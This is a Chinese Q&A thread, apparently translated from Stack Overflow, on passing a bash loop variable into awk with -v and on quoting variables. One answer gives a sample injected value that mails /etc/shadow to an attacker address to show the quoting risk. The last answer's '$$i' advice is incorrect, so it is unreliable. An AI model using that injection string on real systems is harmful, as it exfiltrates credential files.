awk 的 shell 脚本不会提供所需的输出


#!/bin/bash
index=101,102,103,104,105
/bin/echo "$index" | /bin/awk -F, '{print $2}'

上面是我的 shell 脚本,(这只是一个演示它不应该是静态的)当我执行这个时它返回值"102"是正确的。

#!/bin/bash
index=101,102,103,104,105
for i in 1 2 3 4 5
do
/bin/echo "$index" | /bin/awk -F, '{print $i}'
done

我想一个接一个地打印所有数字...我错在哪里?

我对"空"的隔离值进行了一些更改...现在我想做什么改变? 获取和递增$i的值?

output of  *some command*
1013
1023
12324
13224
3122
2421
#!/bin/bash
index=*some command*
i=1
for LINE in ${OUTPUT} ; do
ans=$(/bin/echo "$index" | /bin/awk -vRS= -vFS="n" '{print $i}')
i=`expr $i + 1`
done

单引号不允许变量扩展。 所以"$i"被扩展到$i的值,但'$i'是一个字面上的$i

假设变量将在脚本中正确扩展通常是不安全的。 您不想将脚本放在双引号中。 相反,使用 awk 的-v选项将$i的值传递到 awk 脚本中。

#!/bin/bash
index=101,102,103,104,105
for i in 1 2 3 4 5; do
echo "$index" | awk -F, -vi="$i" '{print $i}'
done

由于这是一个示例,我不确定您是否真的要使用 for 循环来生成$i的值,您应该记住在$i周围加上双引号,这样如果它包含空格或其他奇怪的字符,您不会破坏脚本并意外执行您不想执行的内容。 虽然并不总是必要的,但始终建议在 bash 中引用您的变量。 谨慎≈好。 如果$i得到一个"1;mail h4x0r@example.net < /etc/shadow;true"的值,如果没有引号,你就会有危险。 使用引号,您只有一个失败的脚本。

你必须将i的值传递给 awk:

#!/bin/bash
index=101,102,103,104,105
for i in 1 2 3 4 5
do
/bin/echo "$index" | /bin/awk -v i=$i -F, '{print $i}'
done

否则,脚本中i的值是 awk 不知道的,默认情况下它采用0的值。所以它会打印,就好像你说$0.

或像这样

#!/bin/bash
index=101,102,103,104,105
IFS=','
for x in $index
do
echo "$x"
done

IFS 将根据您的情况定义分隔符","。然后你可以浏览元素(如数组)

使用双引号,以便 shell 扩展$i。然后,您必须引用美元符号以防止$$的扩展:

awk -F, "{print $$i}"

相关内容

  • 没有找到相关文章

最新更新